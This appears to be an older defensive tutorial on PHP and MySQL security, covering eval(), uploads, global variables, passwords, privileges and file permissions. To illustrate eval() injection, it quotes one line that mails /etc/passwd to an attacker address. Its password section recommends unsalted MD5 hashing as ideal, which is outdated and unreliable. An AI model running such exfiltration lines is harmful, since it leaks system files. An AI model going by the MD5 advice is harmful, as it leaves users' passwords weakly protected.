PHP and MySQL Security
In many web applications, the integrity and security of data is crucial to the success of the project. Fortunately, PHP and MySQL have features that, when used carefully, can dramatically increase the security of an application.
Script Security
As an embedded scripting language, PHP has several potential security weaknesses that can be caused by poor programming. Specifically, key vulnerabilities lie in some PHP functions, in scripts that allow build files from user information or allow uploads from the client, and in the use of global and form variables.
A useful PHP function that can threaten the security of a script is the eval() method. With this function, PHP allows a script to execute arbitrary PHP code. While eval() can be used, never allow any form of user-supplied data to be passed to it. For example, consider what might happen if a script called eval() and took the following user-supplied string as an argument:
mail("hacker@anonymous.com", "Stolen passwords", `/bin/cat /etc/passwd`);
It also important to note that a few other functions such as preg_replace() with the /e option make use of eval(). It is impossible to predict what kind of malicious code might be passed to and evaluated by these functions. Thus, the only viable security solution is not to pass user-supplied data to them.
Scripts that permit file uploads from the client are also a potential security hole. When constructing a filename with user-supplied information, be certain not to allow characters for relative paths. Doing so might cause a different script to inadvertently print whatever information was targeted by the path, such as the /etc/passwd file. Another area of concern in PHP's default setting which allows the opening of remote files with the same functions that open local files. Thus, if a script opened the file named after a username, and the username happened to be a URL of malicious script code, that code would be run on the original script's server. Be wary of creating or naming files with pieces of information supplied by the user. If you must do so, check the information supplied by the user with basename() and realpath(). Finally, when dealing with uploaded files from a client, be certain to take advantage of maximum file size settings and file type restrictions. Doing so will prevent massive files (designed to clog space on the server) or malicious files (designed to compromise server security) from being uploaded.
Because PHP scripts can take arguments passed to them by the URL (or via forms), failing to handle them in a secure fashion could open up a wide security hole. Two critical steps will lock down variables to prevent intentional or accidental script manipulation by the user. First, initialize all variable to a default value (0, false, etc.) rather than assuming that a received value will set them correctly. Second, set the variables_order variable of the PHP configuration. The default setting, "EGPCS" means that the environment, the GET parameters, the POST parameters, the cookies, and the server information are all turned into global variables when a script executes. Allowing GET requests, POST requests, and cookies from the browser to do so is dangerous. Instead, consider setting variables_order to "ES".
Passwords
As the access keys to restricted information and privileges, passwords are always an area of strong security concern. Several common-sense steps and some more advanced techniques will prevent passwords from being guessed, obtained, or misused. Make certain that all MySQL users have passwords that are regularly changed. Never allow passwords that contain words from the dictionary, or part of the username. The best passwords are combinations of numbers and letters. If it becomes necessary to store passwords in scripts, make certain that only authorized persons can access that information. There are two cases where such an issue may arise:
1.) In the mysql.server script, it may be necessary to use the UNIX root password. If this is the case, make certain that only the root user can read the script.
2.) For PHP scripts that connect to MySQL, it may be necessary to store a password in a script. If so, make that script an include file, and store it in a protected directory outside of the web document tree.
Never store passwords in plain text in a database. Instead, use a one-way encryption algorithm to scramble the password before inserting it into MySQL. The MD5 encryption algorithm is ideal for this. When validating users, be certain to scramble their submitted password before comparing it to what is stored in the database. If the algorithms used to encrypt both the stored password and the submitted password are the same, the results of each will be identical. Thus, encryption will create the same scrambled string every time for the same password. Remember that encryption algorithms are case-sensitive.
User Privileges
It is crucial to learn and master the implications of user privileges in MySQL. Be certain to grant users only the privileges that they will need; in no circumstances should an end user have full database privileges. Specifically, do not grant PROCESS, FILE, SHUTDOWN, or RELOAD privileges to anyone but an administrator. It is also advisable to be careful in giving out the GRANT privilege, which allows users to share their privileges with one another.
In the host table, which specifies which users are permitted (user, username, domain, etc.), you can increase security by specifying IP addresses rather than domain names in the domain column. This will lock out crackers who can falsify their domain, then attempt to hack a username and password. Careful attention to this table and the permission commands that modify it will yield more secure control over MySQL data.
File and Directory Permissions
Careful use of file and directory permissions is essential, especially when those files are hosted by an ISP where they may be accessed by untrusted personnel. Because of this common risk, certain techniques should be used to protect files and directories as much as possible.
Files used by PHP scripts should always be created or opened with the permissions intended for them. Do not create the file, then set its permissions; this permits the savvy user to open a file once it is created, but before it is locked down. Instead, use the umask() function to set permissions for files used by a script, and then create or open them. In addition, be certain to set file permissions on a file-to-file basis, rather than a directory basis. Some files such as scripts should have execute permissions, while other files such as HTML or include files should be read-only.
Finally, conceal PHP code and libraries that should not be seen by the user in password-protected directories, so that only verified users on your server can access them without the correct password. The .htaccess protocol is ideal for this. Conceal any files that contain proprietary code, user information, or database passwords that might be exploited by an unauthorized user.
|
